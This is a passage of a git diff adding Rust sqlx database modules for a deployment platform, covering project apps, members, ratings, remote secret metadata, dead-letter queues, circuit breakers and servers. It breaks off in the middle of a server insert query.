/dev/null +++ b/stacker/stacker/src/db/project_app.rs @@ -0,0 +1,369 @@ +//! Database operations for App configurations. +//! +//! Apps are container configurations within a project. +//! Each project can have multiple apps (nginx, postgres, redis, etc.) + +use crate::models; +use sqlx::PgPool; +use tracing::Instrument; + +/// Fetch a single app by ID +pub async fn fetch(pool: &PgPool, id: i32) -> Result, String> { + tracing::debug!("Fetching app by id: {}", id); + sqlx::query_as!( + models::ProjectApp, + r#" + SELECT * FROM project_app WHERE id = $1 LIMIT 1 + "#, + id + ) + .fetch_optional(pool) + .await + .map_err(|e| { + tracing::error!("Failed to fetch app: {:?}", e); + format!("Failed to fetch app: {}", e) + }) +} + +/// Fetch all apps for a project +pub async fn fetch_by_project( + pool: &PgPool, + project_id: i32, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch apps by project id"); + sqlx::query_as!( + models::ProjectApp, + r#" + SELECT * FROM project_app + WHERE project_id = $1 + ORDER BY deploy_order ASC NULLS LAST, id ASC + "#, + project_id + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to fetch apps for project: {:?}", e); + format!("Failed to fetch apps: {}", e) + }) +} + +/// Fetch all apps for a specific deployment. +/// Falls back to project-level apps if no deployment-scoped apps exist (backward compatibility). +pub async fn fetch_by_deployment( + pool: &PgPool, + project_id: i32, + deployment_id: i32, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch apps by deployment id"); + let apps = sqlx::query_as!( + models::ProjectApp, + r#" + SELECT * FROM project_app + WHERE project_id = $1 AND deployment_id = $2 + ORDER BY deploy_order ASC NULLS LAST, id ASC + "#, + project_id, + deployment_id + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to fetch apps for deployment: {:?}", e); + format!("Failed to fetch apps by deployment: {}", e) + })?; + + // Backward compatibility: if no deployment-scoped apps, fall back to project-level (deployment_id IS NULL) + if apps.is_empty() { + tracing::debug!( + "No deployment-scoped apps for deployment_id={}, falling back to project-level apps", + deployment_id + ); + return fetch_by_project(pool, project_id).await; + } + + Ok(apps) +} + +/// Fetch a single app by project ID and app code +pub async fn fetch_by_project_and_code( + pool: &PgPool, + project_id: i32, + code: &str, +) -> Result, String> { + tracing::debug!("Fetching app by project {} and code {}", project_id, code); + sqlx::query_as!( + models::ProjectApp, + r#" + SELECT * FROM project_app + WHERE project_id = $1 AND code = $2 + LIMIT 1 + "#, + project_id, + code + ) + .fetch_optional(pool) + .await + .map_err(|e| { + tracing::error!("Failed to fetch app by code: {:?}", e); + format!("Failed to fetch app: {}", e) + }) +} + +/// Insert a new app +pub async fn insert(pool: &PgPool, app: &models::ProjectApp) -> Result { + let query_span = tracing::info_span!("Inserting new app"); + sqlx::query_as!( + models::ProjectApp, + r#" + INSERT INTO project_app ( + project_id, code, name, image, environment, ports, volumes, + domain, ssl_enabled, resources, restart_policy, command, + entrypoint, networks, depends_on, healthcheck, labels, + config_files, template_source, enabled, deploy_order, parent_app_code, + deployment_id, created_at, updated_at + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, $21, $22, $23, NOW(), NOW()) + RETURNING * + "#, + app.project_id, + app.code, + app.name, + app.image, + app.environment, + app.ports, + app.volumes, + app.domain, + app.ssl_enabled, + app.resources, + app.restart_policy, + app.command, + app.entrypoint, + app.networks, + app.depends_on, + app.healthcheck, + app.labels, + app.config_files, + app.template_source, + app.enabled, + app.deploy_order, + app.parent_app_code, + app.deployment_id, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to insert app: {:?}", e); + format!("Failed to insert app: {}", e) + }) +} + +/// Update an existing app +pub async fn update(pool: &PgPool, app: &models::ProjectApp) -> Result { + let query_span = tracing::info_span!("Updating app"); + sqlx::query_as!( + models::ProjectApp, + r#" + UPDATE project_app SET + code = $2, + name = $3, + image = $4, + environment = $5, + ports = $6, + volumes = $7, + domain = $8, + ssl_enabled = $9, + resources = $10, + restart_policy = $11, + command = $12, + entrypoint = $13, + networks = $14, + depends_on = $15, + healthcheck = $16, + labels = $17, + config_files = $18, + template_source = $19, + enabled = $20, + deploy_order = $21, + parent_app_code = $22, + deployment_id = $23, + config_version = COALESCE(config_version, 0) + 1, + updated_at = NOW() + WHERE id = $1 + RETURNING * + "#, + app.id, + app.code, + app.name, + app.image, + app.environment, + app.ports, + app.volumes, + app.domain, + app.ssl_enabled, + app.resources, + app.restart_policy, + app.command, + app.entrypoint, + app.networks, + app.depends_on, + app.healthcheck, + app.labels, + app.config_files, + app.template_source, + app.enabled, + app.deploy_order, + app.parent_app_code, + app.deployment_id, + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to update app: {:?}", e); + format!("Failed to update app: {}", e) + }) +} + +/// Update metadata after a rendered app config is successfully stored in Vault. +pub async fn update_sync_metadata( + pool: &PgPool, + app_id: i32, + config_hash: &str, +) -> Result<(), String> { + let query_span = tracing::info_span!("Updating app config sync metadata"); + let result = sqlx::query( + r#" + UPDATE project_app + SET + vault_synced_at = NOW(), + vault_sync_version = config_version, + config_hash = $2, + updated_at = NOW() + WHERE id = $1 + "#, + ) + .bind(app_id) + .bind(config_hash) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to update app config sync metadata: {:?}", e); + format!("Failed to update app config sync metadata: {}", e) + })?; + + if result.rows_affected() == 0 { + return Err(format!( + "Failed to update app config sync metadata: app {} not found", + app_id + )); + } + + Ok(()) +} + +/// Delete an app by ID +pub async fn delete(pool: &PgPool, id: i32) -> Result { + let query_span = tracing::info_span!("Deleting app"); + let result = sqlx::query!( + r#" + DELETE FROM project_app WHERE id = $1 + "#, + id + ) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to delete app: {:?}", e); + format!("Failed to delete app: {}", e) + })?; + + Ok(result.rows_affected() > 0) +} + +/// Delete an app by project ID and app code +pub async fn delete_by_project_and_code( + pool: &PgPool, + project_id: i32, + code: &str, +) -> Result { + let query_span = tracing::info_span!("Deleting app by project and code"); + let result = sqlx::query("DELETE FROM project_app WHERE project_id = $1 AND code = $2") + .bind(project_id) + .bind(code) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to delete app by project and code: {:?}", e); + format!("Failed to delete app: {}", e) + })?; + + Ok(result.rows_affected() > 0) +} + +/// Delete all apps for a project +pub async fn delete_by_project(pool: &PgPool, project_id: i32) -> Result { + let query_span = tracing::info_span!("Deleting all apps for project"); + let result = sqlx::query!( + r#" + DELETE FROM project_app WHERE project_id = $1 + "#, + project_id + ) + .execute(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to delete apps: {:?}", e); + format!("Failed to delete apps: {}", e) + })?; + + Ok(result.rows_affected()) +} + +/// Count apps in a project +pub async fn count_by_project(pool: &PgPool, project_id: i32) -> Result { + let result = sqlx::query_scalar!( + r#" + SELECT COUNT(*) as "count!" FROM project_app WHERE project_id = $1 + "#, + project_id + ) + .fetch_one(pool) + .await + .map_err(|e| { + tracing::error!("Failed to count apps: {:?}", e); + format!("Failed to count apps: {}", e) + })?; + + Ok(result) +} + +/// Check if an app with the given code exists in the project +pub async fn exists_by_project_and_code( + pool: &PgPool, + project_id: i32, + code: &str, +) -> Result { + let result = sqlx::query_scalar!( + r#" + SELECT EXISTS(SELECT 1 FROM project_app WHERE project_id = $1 AND code = $2) as "exists!" + "#, + project_id, + code + ) + .fetch_one(pool) + .await + .map_err(|e| { + tracing::error!("Failed to check app existence: {:?}", e); + format!("Failed to check app existence: {}", e) + })?; + + Ok(result) +} diff --git a/stacker/stacker/src/db/project_member.rs b/stacker/stacker/src/db/project_member.rs new file mode 100644 index 0000000..54ae8c0 --- /dev/null +++ b/stacker/stacker/src/db/project_member.rs @@ -0,0 +1,104 @@ +use crate::models; +use sqlx::PgPool; +use tracing::Instrument; + +pub async fn upsert( + pool: &PgPool, + project_id: i32, + user_id: &str, + role: &str, + created_by: &str, +) -> Result { + let query_span = tracing::info_span!("Upsert project member", project_id, user_id); + sqlx::query_as::<_, models::ProjectMember>( + r#" + INSERT INTO project_member (project_id, user_id, role, created_by, created_at, updated_at) + VALUES ($1, $2, $3, $4, NOW() at time zone 'utc', NOW() at time zone 'utc') + ON CONFLICT (project_id, user_id) + DO UPDATE SET + role = EXCLUDED.role, + created_by = EXCLUDED.created_by, + updated_at = NOW() at time zone 'utc' + RETURNING project_id, user_id, role, created_by, created_at, updated_at + "#, + ) + .bind(project_id) + .bind(user_id) + .bind(role) + .bind(created_by) + .fetch_one(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to upsert project member: {:?}", err); + "Failed to save project member".to_string() + }) +} + +pub async fn fetch( + pool: &PgPool, + project_id: i32, + user_id: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch project member", project_id, user_id); + sqlx::query_as::<_, models::ProjectMember>( + r#" + SELECT project_id, user_id, role, created_by, created_at, updated_at + FROM project_member + WHERE project_id = $1 AND user_id = $2 + LIMIT 1 + "#, + ) + .bind(project_id) + .bind(user_id) + .fetch_optional(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch project member: {:?}", err); + "Failed to fetch project member".to_string() + }) +} + +pub async fn fetch_by_project( + pool: &PgPool, + project_id: i32, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch project members", project_id); + sqlx::query_as::<_, models::ProjectMember>( + r#" + SELECT project_id, user_id, role, created_by, created_at, updated_at + FROM project_member + WHERE project_id = $1 + ORDER BY created_at ASC, user_id ASC + "#, + ) + .bind(project_id) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch project members: {:?}", err); + "Failed to fetch project members".to_string() + }) +} + +pub async fn delete(pool: &PgPool, project_id: i32, user_id: &str) -> Result { + let query_span = tracing::info_span!("Delete project member", project_id, user_id); + sqlx::query( + r#" + DELETE FROM project_member + WHERE project_id = $1 AND user_id = $2 + "#, + ) + .bind(project_id) + .bind(user_id) + .execute(pool) + .instrument(query_span) + .await + .map(|result| result.rows_affected() > 0) + .map_err(|err| { + tracing::error!("Failed to delete project member: {:?}", err); + "Failed to delete project member".to_string() + }) +} diff --git a/stacker/stacker/src/db/rating.rs b/stacker/stacker/src/db/rating.rs new file mode 100644 index 0000000..3cf0baf --- /dev/null +++ b/stacker/stacker/src/db/rating.rs @@ -0,0 +1,211 @@ +use crate::models; +use sqlx::PgPool; +use tracing::Instrument; + +pub async fn fetch_all(pool: &PgPool) -> Result, String> { + let query_span = tracing::info_span!("Fetch all ratings."); + sqlx::query_as!( + models::Rating, + r#"SELECT + id, + user_id, + obj_id, + category as "category: _", + comment, + hidden, + rate, + created_at, + updated_at + FROM rating + ORDER BY id DESC + "# + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to execute fetch query: {:?}", e); + "".to_string() + }) +} + +pub async fn fetch(pool: &PgPool, id: i32) -> Result, String> { + let query_span = tracing::info_span!("Fetch rating by id"); + sqlx::query_as!( + models::Rating, + r#"SELECT + id, + user_id, + obj_id, + category as "category: _", + comment, + hidden, + rate, + created_at, + updated_at + FROM rating + WHERE id=$1 + LIMIT 1"#, + id + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|rating| Some(rating)) + .or_else(|e| match e { + sqlx::Error::RowNotFound => Ok(None), + s => { + tracing::error!("Failed to execute fetch query: {:?}", s); + Err("".to_string()) + } + }) +} + +pub async fn fetch_by_obj_and_user_and_category( + pool: &PgPool, + obj_id: i32, + user_id: String, + category: models::RateCategory, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch rating by obj, user and category."); + sqlx::query_as!( + models::Rating, + r#"SELECT + id, + user_id, + obj_id, + category as "category: _", + comment, + hidden, + rate, + created_at, + updated_at + FROM rating + WHERE user_id=$1 + AND obj_id=$2 + AND category=$3 + LIMIT 1"#, + user_id, + obj_id, + category as _ + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(|rating| Some(rating)) + .or_else(|e| match e { + sqlx::Error::RowNotFound => Ok(None), + s => { + tracing::error!("Failed to execute fetch query: {:?}", s); + Err("".to_string()) + } + }) +} + +pub async fn insert(pool: &PgPool, mut rating: models::Rating) -> Result { + let query_span = tracing::info_span!("Saving new rating details into the database"); + sqlx::query!( + r#" + INSERT INTO rating (user_id, obj_id, category, comment, hidden, rate, created_at, updated_at) + VALUES ($1, $2, $3, $4, $5, $6, NOW() at time zone 'utc', NOW() at time zone 'utc') + RETURNING id + "#, + rating.user_id, + rating.obj_id, + rating.category as _, + rating.comment, + rating.hidden, + rating.rate + ) + .fetch_one(pool) + .instrument(query_span) + .await + .map(move |result| { + rating.id = result.id; + rating + }) + .map_err(|e| { + tracing::error!("Failed to execute query: {:?}", e); + "Failed to insert".to_string() + }) +} + +pub async fn update(pool: &PgPool, rating: models::Rating) -> Result { + let query_span = tracing::info_span!("Updating rating into the database"); + sqlx::query!( + r#" + UPDATE rating + SET + comment=$1, + rate=$2, + hidden=$3, + updated_at=NOW() at time zone 'utc' + WHERE id = $4 + "#, + rating.comment, + rating.rate, + rating.hidden, + rating.id + ) + .execute(pool) + .instrument(query_span) + .await + .map(|_| { + tracing::info!("Rating {} has been saved to the database", rating.id); + rating + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + "".to_string() + }) +} + +pub async fn fetch_all_visible(pool: &PgPool) -> Result, String> { + let query_span = tracing::info_span!("Fetch all ratings."); + sqlx::query_as!( + models::Rating, + r#"SELECT + id, + user_id, + obj_id, + category as "category: _", + comment, + hidden, + rate, + created_at, + updated_at + FROM rating + WHERE hidden = false + ORDER BY id DESC + "#, + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|e| { + tracing::error!("Failed to execute fetch query: {:?}", e); + "".to_string() + }) +} + +pub async fn delete(pool: &PgPool, rating: models::Rating) -> Result<(), String> { + let query_span = tracing::info_span!("Deleting rating from the database"); + sqlx::query!( + r#" + DELETE FROM rating + WHERE id = $1 + "#, + rating.id + ) + .execute(pool) + .instrument(query_span) + .await + .map(|_| { + tracing::info!("Rating {} has been deleted from the database", rating.id); + () + }) + .map_err(|err| { + tracing::error!("Failed to execute query: {:?}", err); + "".to_string() + }) +} diff --git a/stacker/stacker/src/db/remote_secret.rs b/stacker/stacker/src/db/remote_secret.rs new file mode 100644 index 0000000..d851fd2 --- /dev/null +++ b/stacker/stacker/src/db/remote_secret.rs @@ -0,0 +1,210 @@ +use crate::models::RemoteSecret; +use sqlx::{PgPool, Row}; + +pub async fn fetch_service_secret( + pool: &PgPool, + user_id: &str, + project_id: i32, + app_code: &str, + name: &str, +) -> Result, String> { + sqlx::query_as::<_, RemoteSecret>( + r#" + SELECT * + FROM remote_secret + WHERE user_id = $1 + AND scope = 'service' + AND project_id = $2 + AND app_code = $3 + AND name = $4 + LIMIT 1 + "#, + ) + .bind(user_id) + .bind(project_id) + .bind(app_code) + .bind(name) + .fetch_optional(pool) + .await + .map_err(|e| format!("Failed to fetch service secret metadata: {}", e)) +} + +pub async fn list_service_secrets( + pool: &PgPool, + user_id: &str, + project_id: i32, + app_code: &str, +) -> Result, String> { + sqlx::query_as::<_, RemoteSecret>( + r#" + SELECT * + FROM remote_secret + WHERE user_id = $1 + AND scope = 'service' + AND project_id = $2 + AND app_code = $3 + ORDER BY name ASC + "#, + ) + .bind(user_id) + .bind(project_id) + .bind(app_code) + .fetch_all(pool) + .await + .map_err(|e| format!("Failed to list service secret metadata: {}", e)) +} + +pub async fn fetch_server_secret( + pool: &PgPool, + user_id: &str, + server_id: i32, + name: &str, +) -> Result, String> { + sqlx::query_as::<_, RemoteSecret>( + r#" + SELECT * + FROM remote_secret + WHERE user_id = $1 + AND scope = 'server' + AND server_id = $2 + AND name = $3 + LIMIT 1 + "#, + ) + .bind(user_id) + .bind(server_id) + .bind(name) + .fetch_optional(pool) + .await + .map_err(|e| format!("Failed to fetch server secret metadata: {}", e)) +} + +pub async fn list_server_secrets( + pool: &PgPool, + user_id: &str, + server_id: i32, +) -> Result, String> { + sqlx::query_as::<_, RemoteSecret>( + r#" + SELECT * + FROM remote_secret + WHERE user_id = $1 + AND scope = 'server' + AND server_id = $2 + ORDER BY name ASC + "#, + ) + .bind(user_id) + .bind(server_id) + .fetch_all(pool) + .await + .map_err(|e| format!("Failed to list server secret metadata: {}", e)) +} + +pub async fn upsert_service_secret( + pool: &PgPool, + user_id: &str, + project_id: i32, + app_code: &str, + name: &str, + vault_path: &str, + updated_by: &str, + last_sync_status: &str, +) -> Result { + sqlx::query_as::<_, RemoteSecret>( + r#" + INSERT INTO remote_secret ( + user_id, + project_id, + app_code, + server_id, + scope, + name, + vault_path, + updated_by, + last_sync_status + ) + VALUES ($1, $2, $3, NULL, 'service', $4, $5, $6, $7) + ON CONFLICT (user_id, project_id, app_code, name) WHERE scope = 'service' + DO UPDATE SET + vault_path = EXCLUDED.vault_path, + updated_by = EXCLUDED.updated_by, + last_sync_status = EXCLUDED.last_sync_status, + updated_at = NOW() + RETURNING * + "#, + ) + .bind(user_id) + .bind(project_id) + .bind(app_code) + .bind(name) + .bind(vault_path) + .bind(updated_by) + .bind(last_sync_status) + .fetch_one(pool) + .await + .map_err(|e| format!("Failed to upsert service secret metadata: {}", e)) +} + +pub async fn upsert_server_secret( + pool: &PgPool, + user_id: &str, + server_id: i32, + name: &str, + vault_path: &str, + updated_by: &str, + last_sync_status: &str, +) -> Result { + sqlx::query_as::<_, RemoteSecret>( + r#" + INSERT INTO remote_secret ( + user_id, + project_id, + app_code, + server_id, + scope, + name, + vault_path, + updated_by, + last_sync_status + ) + VALUES ($1, NULL, NULL, $2, 'server', $3, $4, $5, $6) + ON CONFLICT (user_id, server_id, name) WHERE scope = 'server' + DO UPDATE SET + vault_path = EXCLUDED.vault_path, + updated_by = EXCLUDED.updated_by, + last_sync_status = EXCLUDED.last_sync_status, + updated_at = NOW() + RETURNING * + "#, + ) + .bind(user_id) + .bind(server_id) + .bind(name) + .bind(vault_path) + .bind(updated_by) + .bind(last_sync_status) + .fetch_one(pool) + .await + .map_err(|e| format!("Failed to upsert server secret metadata: {}", e)) +} + +pub async fn delete_secret_by_id(pool: &PgPool, id: i32) -> Result { + let deleted = sqlx::query("DELETE FROM remote_secret WHERE id = $1") + .bind(id) + .execute(pool) + .await + .map_err(|e| format!("Failed to delete secret metadata: {}", e))? + .rows_affected(); + + Ok(deleted > 0) +} + +pub async fn count_by_scope(pool: &PgPool, scope: &str) -> Result { + sqlx::query("SELECT COUNT(*) AS count FROM remote_secret WHERE scope = $1") + .bind(scope) + .fetch_one(pool) + .await + .map(|row| row.get::("count")) + .map_err(|e| format!("Failed to count remote secrets: {}", e)) +} diff --git a/stacker/stacker/src/db/resilience.rs b/stacker/stacker/src/db/resilience.rs new file mode 100644 index 0000000..53f2ca6 --- /dev/null +++ b/stacker/stacker/src/db/resilience.rs @@ -0,0 +1,272 @@ +use crate::models::resilience::{CircuitBreaker, DeadLetterEntry}; +use sqlx::PgPool; +use tracing::Instrument; +use uuid::Uuid; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Dead Letter Queue queries +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[tracing::instrument(name = "Insert DLQ entry", skip(pool))] +pub async fn insert_dlq_entry( + pool: &PgPool, + entry: &DeadLetterEntry, +) -> Result { + let span = tracing::info_span!("Saving DLQ entry to database"); + sqlx::query_as::<_, DeadLetterEntry>( + r#" + INSERT INTO dead_letter_queue ( + id, pipe_instance_id, pipe_execution_id, dag_step_id, + payload, error, retry_count, max_retries, next_retry_at, + status, created_by, created_at, updated_at + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13) + RETURNING * + "#, + ) + .bind(entry.id) + .bind(entry.pipe_instance_id) + .bind(entry.pipe_execution_id) + .bind(entry.dag_step_id) + .bind(&entry.payload) + .bind(&entry.error) + .bind(entry.retry_count) + .bind(entry.max_retries) + .bind(entry.next_retry_at) + .bind(&entry.status) + .bind(&entry.created_by) + .bind(entry.created_at) + .bind(entry.updated_at) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|e| format!("Failed to insert DLQ entry: {}", e)) +} + +#[tracing::instrument(name = "List DLQ entries", skip(pool))] +pub async fn list_dlq_entries( + pool: &PgPool, + pipe_instance_id: &Uuid, +) -> Result, String> { + let span = tracing::info_span!("Listing DLQ entries"); + sqlx::query_as::<_, DeadLetterEntry>( + r#" + SELECT * FROM dead_letter_queue + WHERE pipe_instance_id = $1 AND status NOT IN ('discarded', 'resolved') + ORDER BY created_at DESC + "#, + ) + .bind(pipe_instance_id) + .fetch_all(pool) + .instrument(span) + .await + .map_err(|e| format!("Failed to list DLQ entries: {}", e)) +} + +#[tracing::instrument(name = "Get DLQ entry", skip(pool))] +pub async fn get_dlq_entry( + pool: &PgPool, + entry_id: &Uuid, +) -> Result, String> { + let span = tracing::info_span!("Fetching DLQ entry"); + sqlx::query_as::<_, DeadLetterEntry>(r#"SELECT * FROM dead_letter_queue WHERE id = $1"#) + .bind(entry_id) + .fetch_optional(pool) + .instrument(span) + .await + .map_err(|e| format!("Failed to get DLQ entry: {}", e)) +} + +#[tracing::instrument(name = "Retry DLQ entry", skip(pool))] +pub async fn retry_dlq_entry(pool: &PgPool, entry_id: &Uuid) -> Result { + let span = tracing::info_span!("Retrying DLQ entry"); + // Increment retry_count; if retry_count >= max_retries, set status = 'exhausted' + sqlx::query_as::<_, DeadLetterEntry>( + r#" + UPDATE dead_letter_queue + SET retry_count = retry_count + 1, + status = CASE + WHEN retry_count + 1 >= max_retries THEN 'exhausted' + ELSE 'retrying' + END, + next_retry_at = NOW() + (POWER(2, retry_count) || ' seconds')::INTERVAL, + updated_at = NOW() + WHERE id = $1 + RETURNING * + "#, + ) + .bind(entry_id) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|e| format!("Failed to retry DLQ entry: {}", e)) +} + +#[tracing::instrument(name = "Discard DLQ entry", skip(pool))] +pub async fn discard_dlq_entry(pool: &PgPool, entry_id: &Uuid) -> Result<(), String> { + let span = tracing::info_span!("Discarding DLQ entry"); + sqlx::query( + r#"UPDATE dead_letter_queue SET status = 'discarded', updated_at = NOW() WHERE id = $1"#, + ) + .bind(entry_id) + .execute(pool) + .instrument(span) + .await + .map_err(|e| format!("Failed to discard DLQ entry: {}", e))?; + Ok(()) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Circuit Breaker queries +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Get or create circuit breaker for a pipe instance +#[tracing::instrument(name = "Get or create circuit breaker", skip(pool))] +pub async fn get_or_create_circuit_breaker( + pool: &PgPool, + pipe_instance_id: &Uuid, +) -> Result { + let span = tracing::info_span!("Get or create circuit breaker"); + sqlx::query_as::<_, CircuitBreaker>( + r#" + INSERT INTO circuit_breakers (id, pipe_instance_id) + VALUES (gen_random_uuid(), $1) + ON CONFLICT (pipe_instance_id) DO UPDATE SET updated_at = NOW() + RETURNING * + "#, + ) + .bind(pipe_instance_id) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|e| format!("Failed to get/create circuit breaker: {}", e)) +} + +#[tracing::instrument(name = "Update circuit breaker config", skip(pool))] +pub async fn update_circuit_breaker_config( + pool: &PgPool, + pipe_instance_id: &Uuid, + failure_threshold: i32, + recovery_timeout_seconds: i32, + half_open_max_requests: i32, +) -> Result { + let span = tracing::info_span!("Updating circuit breaker config"); + sqlx::query_as::<_, CircuitBreaker>( + r#" + INSERT INTO circuit_breakers (id, pipe_instance_id, failure_threshold, recovery_timeout_seconds, half_open_max_requests) + VALUES (gen_random_uuid(), $1, $2, $3, $4) + ON CONFLICT (pipe_instance_id) DO UPDATE SET + failure_threshold = EXCLUDED.failure_threshold, + recovery_timeout_seconds = EXCLUDED.recovery_timeout_seconds, + half_open_max_requests = EXCLUDED.half_open_max_requests, + updated_at = NOW() + RETURNING * + "#, + ) + .bind(pipe_instance_id) + .bind(failure_threshold) + .bind(recovery_timeout_seconds) + .bind(half_open_max_requests) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|e| format!("Failed to update circuit breaker config: {}", e)) +} + +/// Record a failure — increment failure_count, open circuit if threshold reached +#[tracing::instrument(name = "Record circuit breaker failure", skip(pool))] +pub async fn record_circuit_breaker_failure( + pool: &PgPool, + pipe_instance_id: &Uuid, +) -> Result { + let span = tracing::info_span!("Recording circuit breaker failure"); + // First ensure circuit breaker exists + let _cb = get_or_create_circuit_breaker(pool, pipe_instance_id).await?; + + sqlx::query_as::<_, CircuitBreaker>( + r#" + UPDATE circuit_breakers + SET failure_count = failure_count + 1, + last_failure_at = NOW(), + state = CASE + WHEN failure_count + 1 >= failure_threshold THEN 'open' + ELSE state + END, + opened_at = CASE + WHEN failure_count + 1 >= failure_threshold AND state != 'open' THEN NOW() + ELSE opened_at + END, + updated_at = NOW() + WHERE pipe_instance_id = $1 + RETURNING * + "#, + ) + .bind(pipe_instance_id) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|e| format!("Failed to record circuit breaker failure: {}", e)) +} + +/// Record a success — reset failure_count in closed/half_open states +#[tracing::instrument(name = "Record circuit breaker success", skip(pool))] +pub async fn record_circuit_breaker_success( + pool: &PgPool, + pipe_instance_id: &Uuid, +) -> Result { + let span = tracing::info_span!("Recording circuit breaker success"); + let _cb = get_or_create_circuit_breaker(pool, pipe_instance_id).await?; + + sqlx::query_as::<_, CircuitBreaker>( + r#" + UPDATE circuit_breakers + SET failure_count = 0, + success_count = success_count + 1, + state = CASE + WHEN state = 'half_open' THEN 'closed' + ELSE state + END, + opened_at = CASE + WHEN state = 'half_open' THEN NULL + ELSE opened_at + END, + updated_at = NOW() + WHERE pipe_instance_id = $1 + RETURNING * + "#, + ) + .bind(pipe_instance_id) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|e| format!("Failed to record circuit breaker success: {}", e)) +} + +/// Reset circuit breaker to closed state +#[tracing::instrument(name = "Reset circuit breaker", skip(pool))] +pub async fn reset_circuit_breaker( + pool: &PgPool, + pipe_instance_id: &Uuid, +) -> Result { + let span = tracing::info_span!("Resetting circuit breaker"); + let _cb = get_or_create_circuit_breaker(pool, pipe_instance_id).await?; + + sqlx::query_as::<_, CircuitBreaker>( + r#" + UPDATE circuit_breakers + SET state = 'closed', + failure_count = 0, + success_count = 0, + opened_at = NULL, + last_failure_at = NULL, + updated_at = NOW() + WHERE pipe_instance_id = $1 + RETURNING * + "#, + ) + .bind(pipe_instance_id) + .fetch_one(pool) + .instrument(span) + .await + .map_err(|e| format!("Failed to reset circuit breaker: {}", e)) +} diff --git a/stacker/stacker/src/db/server.rs b/stacker/stacker/src/db/server.rs new file mode 100644 index 0000000..83208fa --- /dev/null +++ b/stacker/stacker/src/db/server.rs @@ -0,0 +1,340 @@ +use crate::models; +use sqlx::PgPool; +use tracing::Instrument; + +pub async fn fetch(pool: &PgPool, id: i32) -> Result, String> { + tracing::info!("Fetch server {}", id); + sqlx::query_as!( + models::Server, + r#"SELECT * FROM server WHERE id=$1 LIMIT 1 "#, + id + ) + .fetch_one(pool) + .await + .map(|server| Some(server)) + .or_else(|err| match err { + sqlx::Error::RowNotFound => Ok(None), + e => { + tracing::error!("Failed to fetch server, error: {:?}", e); + Err("Could not fetch data".to_string()) + } + }) +} + +pub async fn fetch_by_user(pool: &PgPool, user_id: &str) -> Result, String> { + let query_span = tracing::info_span!("Fetch servers by user id."); + sqlx::query_as!( + models::Server, + r#" + SELECT + * + FROM server + WHERE user_id=$1 + "#, + user_id + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch server, error: {:?}", err); + "".to_string() + }) +} + +/// Fetch servers by user ID with cloud provider information +pub async fn fetch_by_user_with_provider( + pool: &PgPool, + user_id: &str, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch servers by user id with provider info."); + sqlx::query_as!( + models::ServerWithProvider, + r#" + SELECT + s.id, + s.user_id, + s.project_id, + s.cloud_id, + c.provider as "cloud?: String", + s.region, + s.zone, + s.server, + s.os, + s.disk_type, + s.created_at, + s.updated_at, + s.srv_ip, + s.ssh_port, + s.ssh_user, + s.vault_key_path, + s.connection_mode, + s.key_status, + s.name + FROM server s + LEFT JOIN cloud c ON s.cloud_id = c.id + WHERE s.user_id=$1 + ORDER BY s.created_at DESC + "#, + user_id + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch servers with provider, error: {:?}", err); + "".to_string() + }) +} + +pub async fn fetch_by_project( + pool: &PgPool, + project_id: i32, +) -> Result, String> { + let query_span = tracing::info_span!("Fetch servers by project/project id."); + sqlx::query_as!( + models::Server, + r#" + SELECT + * + FROM server + WHERE project_id=$1 + "#, + project_id + ) + .fetch_all(pool) + .instrument(query_span) + .await + .map_err(|err| { + tracing::error!("Failed to fetch servers, error: {:?}", err); + "".to_string() + }) +} + +pub async fn insert(pool: &PgPool, mut server: models::Server) -> Result { + let query_span = tracing::info_span!("Saving user's server data into the database"); + sqlx::query!( + r#" + INSERT INTO server ( + user_id, + project_id, + cloud_id, + region, + zone, + server, + os, + disk_type, + created_at, + updated_at, + srv_ip, + ssh_user, + ssh_port, + vault_key_path, + connection_mode, + key_status, + name + ) + VALUES ($1, $2, $3, $4, $5, $6, $7, 